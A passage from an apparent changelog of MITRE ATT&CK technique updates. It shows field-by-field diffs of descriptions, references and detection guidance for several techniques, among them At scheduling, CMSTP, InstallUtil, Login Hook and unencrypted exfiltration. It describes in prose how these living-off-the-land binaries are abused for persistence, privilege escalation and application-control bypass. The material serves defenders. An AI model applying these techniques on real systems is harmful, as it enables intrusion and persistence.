| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html | https://support.google.com/a/answer/7223765?hl=en |
| external_references[5]['source_name'] | Bienstock, D. - Defending O365 - 2019 | FireEye APT35 2018 |
| external_references[5]['description'] | Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019. | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. |
| external_references[5]['url'] | https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
| x_mitre_data_sources[1] | Group: Group Modification | User Account: User Account Modification |
| x_mitre_data_sources[2] | User Account: User Account Modification | Group: Group Modification |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Microsoft - Add-MailboxPermission', 'description': 'Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps'} |
| external_references | | {'source_name': 'Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452', 'description': 'Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html'} |
| x_mitre_platforms | | Google Workspace |
[T1053.002] Scheduled Task/Job: At
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse the <code>at.exe</code> utility to per | t | Adversaries may abuse the [at](https://attack.mitre.org/soft |
| form task scheduling for initial or recurring execution of m | | ware/S0110) utility to perform task scheduling for initial o |
| alicious code. The [at](https://attack.mitre.org/software/S0 | | r recurring execution of malicious code. The [at](https://at |
| 110) utility exists as an executable within Windows for sche | | tack.mitre.org/software/S0110) utility exists as an executab |
| duling tasks at a specified time and date. Using [at](https: | | le within Windows, Linux, and macOS for scheduling tasks at |
| //attack.mitre.org/software/S0110) requires that the Task Sc | | a specified time and date. Although deprecated in favor of [ |
| heduler service be running, and the user to be logged on as | | Scheduled Task](https://attack.mitre.org/techniques/T1053/00 |
| a member of the local Administrators group. An adversary m | | 5)'s [schtasks](https://attack.mitre.org/software/S0111) in |
| ay use <code>at.exe</code> in Windows environments to execut | | Windows environments, using [at](https://attack.mitre.org/so |
| e programs at system startup or on a scheduled basis for per | | ftware/S0110) requires that the Task Scheduler service be ru |
| sistence. [at](https://attack.mitre.org/software/S0110) can | | nning, and the user to be logged on as a member of the local |
| also be abused to conduct remote Execution as part of Latera | | Administrators group. On Linux and macOS, [at](https://att |
| l Movement and or to run a process under the context of a sp | | ack.mitre.org/software/S0110) may be invoked by the superuse |
| ecified account (such as SYSTEM). Note: The <code>at.exe</c | | r as well as any users added to the <code>at.allow</code> fi |
| ode> command line utility has been deprecated in current ver | | le. If the <code>at.allow</code> file does not exist, the <c |
| sions of Windows in favor of <code>schtasks</code>. | | ode>at.deny</code> file is checked. Every username not liste |
| | | d in <code>at.deny</code> is allowed to invoke [at](https:// |
| | | attack.mitre.org/software/S0110). If the <code>at.deny</code |
| | | > exists and is empty, global use of [at](https://attack.mit |
| | | re.org/software/S0110) is permitted. If neither file exists |
| | | (which is often the baseline) only the superuser is allowed |
| | | to use [at](https://attack.mitre.org/software/S0110).(Citati |
| | | on: Linux at) Adversaries may use [at](https://attack.mitre |
| | | .org/software/S0110) to execute programs at system startup o |
| | | r on a scheduled basis for [Persistence](https://attack.mitr |
| | | e.org/tactics/TA0003). [at](https://attack.mitre.org/softwar |
| | | e/S0110) can also be abused to conduct remote [Execution](ht |
| | | tps://attack.mitre.org/tactics/TA0002) as part of [Lateral M |
| | | ovement](https://attack.mitre.org/tactics/TA0008) and/or to |
| | | run a process under the context of a specified account (such |
| | | as SYSTEM). In Linux environments, adversaries may also ab |
| | | use [at](https://attack.mitre.org/software/S0110) to break o |
| | | ut of restricted environments by using a task to spawn an in |
| | | teractive system shell or to run system commands. Similarly, |
| | | [at](https://attack.mitre.org/software/S0110) may also be u |
| | | sed for [Privilege Escalation](https://attack.mitre.org/tact |
| | | ics/TA0004) if the binary is allowed to run as superuser via |
| | | <code>sudo</code>.(Citation: GTFObins at) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-24 13:43:40.776000+00:00 | 2022-04-18 20:12:04.110000+00:00 |
| name | At (Windows) | At |
| description | Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
An adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
Note: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks. | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)
Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) |
| external_references[1]['source_name'] | Twitter Leoloobeek Scheduled Task | rowland linux at 2019 |
| external_references[1]['description'] | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. | Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. |
| external_references[1]['url'] | https://twitter.com/leoloobeek/status/939248813465853953 | https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ |
| external_references[2]['source_name'] | TechNet Forum Scheduled Task Operational Setting | GTFObins at |
| external_references[2]['description'] | Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. | Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021. |
| external_references[2]['url'] | https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen | https://gtfobins.github.io/gtfobins/at/ |
| external_references[3]['source_name'] | TechNet Scheduled Task Events | Linux at |
| external_references[3]['description'] | Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. | IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. |
| external_references[3]['url'] | https://technet.microsoft.com/library/dd315590.aspx | https://man7.org/linux/man-pages/man1/at.1p.html |
| external_references[4]['source_name'] | Microsoft Scheduled Task Events Win10 | Twitter Leoloobeek Scheduled Task |
| external_references[4]['description'] | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events | https://twitter.com/leoloobeek/status/939248813465853953 |
| external_references[5]['source_name'] | TechNet Autoruns | Microsoft Scheduled Task Events Win10 |
| external_references[5]['description'] | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. |
| external_references[5]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events |
| x_mitre_detection | Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. | Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)
Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008). |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'TechNet Scheduled Task Events', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'url': 'https://technet.microsoft.com/library/dd315590.aspx'} |
| external_references | | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} |
| external_references | | {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'} |
| x_mitre_permissions_required | | User |
| x_mitre_platforms | | Linux |
| x_mitre_platforms | | macOS |
[T1218.003] System Binary Proxy Execution: CMSTP
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse CMSTP to proxy execution of malicious | t | Adversaries may abuse CMSTP to proxy execution of malicious |
| code. The Microsoft Connection Manager Profile Installer (CM | | code. The Microsoft Connection Manager Profile Installer (CM |
| STP.exe) is a command-line program used to install Connectio | | STP.exe) is a command-line program used to install Connectio |
| n Manager service profiles. (Citation: Microsoft Connection | | n Manager service profiles. (Citation: Microsoft Connection |
| Manager Oct 2009) CMSTP.exe accepts an installation informat | | Manager Oct 2009) CMSTP.exe accepts an installation informat |
| ion file (INF) as a parameter and installs a service profile | | ion file (INF) as a parameter and installs a service profile |
| leveraged for remote access connections. Adversaries may s | | leveraged for remote access connections. Adversaries may s |
| upply CMSTP.exe with INF files infected with malicious comma | | upply CMSTP.exe with INF files infected with malicious comma |
| nds. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Re | | nds. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Re |
| gsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Sq | | gsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Sq |
| uiblydoo”, CMSTP.exe may be abused to load and execute DLLs | | uiblydoo”, CMSTP.exe may be abused to load and execute DLLs |
| (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets ( | | (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets ( |
| SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) | | SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) |
| (Citation: GitHub Ultimate AppLocker Bypass List) (Citation | | (Citation: GitHub Ultimate AppLocker Bypass List) (Citation |
| : Endurant CMSTP July 2018) This execution may also bypass A | | : Endurant CMSTP July 2018) This execution may also bypass A |
| ppLocker and other application control defenses since CMSTP. | | ppLocker and other application control defenses since CMSTP. |
| exe is a legitimate, signed Microsoft application. CMSTP.ex | | exe is a legitimate binary that may be signed by Microsoft. |
| e can also be abused to [Bypass User Account Control](https: | | CMSTP.exe can also be abused to [Bypass User Account Contro |
| //attack.mitre.org/techniques/T1548/002) and execute arbitra | | l](https://attack.mitre.org/techniques/T1548/002) and execut |
| ry commands from a malicious INF through an auto-elevated CO | | e arbitrary commands from a malicious INF through an auto-el |
| M interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: | | evated COM interface. (Citation: MSitPros CMSTP Aug 2017) (C |
| GitHub Ultimate AppLocker Bypass List) (Citation: Endurant C | | itation: GitHub Ultimate AppLocker Bypass List) (Citation: E |
| MSTP July 2018) | | ndurant CMSTP July 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:34:03.247000+00:00 | 2022-03-11 18:38:36.109000+00:00 |
| description | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.
CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.
CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
[T1218.001] System Binary Proxy Execution: Compiled HTML File
Current version: 2.0
Version changed from: 1.0 → 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:32:24.589000+00:00 | 2022-03-11 18:59:36.836000+00:00 |
| x_mitre_version | 1.0 | 2.0 |
[T1218.002] System Binary Proxy Execution: Control Panel
Current version: 2.0
Version changed from: 1.1 → 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 18:37:11.672000+00:00 | 2022-03-11 19:01:55.821000+00:00 |
| x_mitre_data_sources[0] | Process: Process Creation | Process: OS API Execution |
| x_mitre_data_sources[1] | File: File Creation | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Module: Module Load | File: File Creation |
| x_mitre_data_sources[3] | Process: OS API Execution | Command: Command Execution |
| x_mitre_data_sources[4] | Command: Command Execution | Module: Module Load |
| x_mitre_data_sources[5] | Windows Registry: Windows Registry Key Modification | Process: Process Creation |
| x_mitre_version | 1.1 | 2.0 |
[T1048.003] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
Current version: 2.0
Version changed from: 1.1 → 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | True | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:49:28.421000+00:00 | 2022-04-12 19:57:45.277000+00:00 |
| name | Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol | Exfiltration Over Unencrypted Non-C2 Protocol |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Command: Command Execution |
| x_mitre_data_sources[4] | Command: Command Execution | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.1 | 2.0 |
[T1218.004] System Binary Proxy Execution: InstallUtil
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may use InstallUtil to proxy execution of code t | t | Adversaries may use InstallUtil to proxy execution of code t |
| hrough a trusted Windows utility. InstallUtil is a command-l | | hrough a trusted Windows utility. InstallUtil is a command-l |
| ine utility that allows for installation and uninstallation | | ine utility that allows for installation and uninstallation |
| of resources by executing specific installer components spec | | of resources by executing specific installer components spec |
| ified in .NET binaries. (Citation: MSDN InstallUtil) Install | | ified in .NET binaries. (Citation: MSDN InstallUtil) The Ins |
| Util is digitally signed by Microsoft and located in the .NE | | tallUtil binary may also be digitally signed by Microsoft an |
| T directories on a Windows system: <code>C:\Windows\Microsof | | d located in the .NET directories on a Windows system: <code |
| t.NET\Framework\v<version>\InstallUtil.exe</code> and <code> | | >C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.e |
| C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil. | | xe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<v |
| exe</code>. InstallUtil may also be used to bypass applicat | | ersion>\InstallUtil.exe</code>. InstallUtil may also be use |
| ion control through use of attributes within the binary that | | d to bypass application control through use of attributes wi |
| execute the class decorated with the attribute <code>[Syste | | thin the binary that execute the class decorated with the at |
| m.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLB | | tribute <code>[System.ComponentModel.RunInstaller(true)]</co |
| AS Installutil) | | de>. (Citation: LOLBAS Installutil) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:34:46.529000+00:00 | 2022-03-11 18:47:52.603000+00:00 |
| description | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
[T1037.002] Boot or Logon Initialization Scripts: Login Hook
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may use macOS logon scripts automatically execut | t | Adversaries may use a Login Hook to establish persistence ex |
| ed at logon initialization to establish persistence. macOS a | | ecuted upon user logon. A login hook is a plist file that po |
| llows logon scripts (known as login hooks) to be executed wh | | ints to a specific script to execute with root privileges up |
| enever a specific user logs into a system. A login hook tell | | on user logon. The plist file is located in the <code>/Libra |
| s Mac OS X to execute a certain script when a user logs in, | | ry/Preferences/com.apple.loginwindow.plist</code> file and c |
| but unlike [Startup Items](https://attack.mitre.org/techniqu | | an be modified using the <code>defaults</code> command-line |
| es/T1037/005), a login hook executes as the elevated root us | | utility. This behavior is the same for logout hooks where a |
| er.(Citation: creating login hook) Adversaries may use thes | | script can be executed upon user logout. All hooks require a |
| e login hooks to maintain persistence on a single system.(Ci | | dministrator permissions to modify or create hooks.(Citation |
| tation: S1 macOs Persistence) Access to login hook scripts m | | : Login Scripts Apple Dev)(Citation: LoginWindowScripts Appl |
| ay allow an adversary to insert additional malicious code. T | | e Dev) Adversaries can add or insert a path to a malicious |
| here can only be one login hook at a time though and dependi | | script in the <code>com.apple.loginwindow.plist</code> file |
| ng on the access configuration of the hooks, either local cr | | , using the <code>LoginHook</code> or <code>LogoutHook</code |
| edentials or an administrator account may be necessary. | | > key-value pair. The malicious script is executed upon the |
| | | next user login. If a login hook already exists, adversaries |
| | | can add additional commands to an existing login hook. Ther |
| | | e can be only one login and logout hook on a system at a tim |
| | | e.(Citation: S1 macOs Persistence)(Citation: Wardle Persiste |
| | | nce Chapter) **Note:** Login hooks were deprecated in 10.11 |
| | | version of macOS in favor of [Launch Daemon](https://attack |
| | | .mitre.org/techniques/T1543/004) and [Launch Agent](https:// |
| | | attack.mitre.org/techniques/T1543/001) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-27 16:49:15.786000+00:00 | 2022-04-20 16:42:05.094000+00:00 |
| name | Logon Script (Mac) | Login Hook |
| description | Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)
Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)
**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) |
| external_references[1]['source_name'] | creating login hook | Login Scripts Apple Dev |
| external_references[1]['description'] | Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017. | Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022. |
| external_references[1]['url'] | https://support.apple.com/de-at/HT2420 | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html |
| external_references[2]['source_name'] | S1 macOs Persistence | LoginWindowScripts Apple Dev |
| external_references[2]['description'] | Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020. | Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022. |
| external_references[2]['url'] | https://www.sentinelone.com/blog/how-malware-persists-on-macos/ | https://developer.apple.com/documentation/devicemanagement/loginwindowscripts |
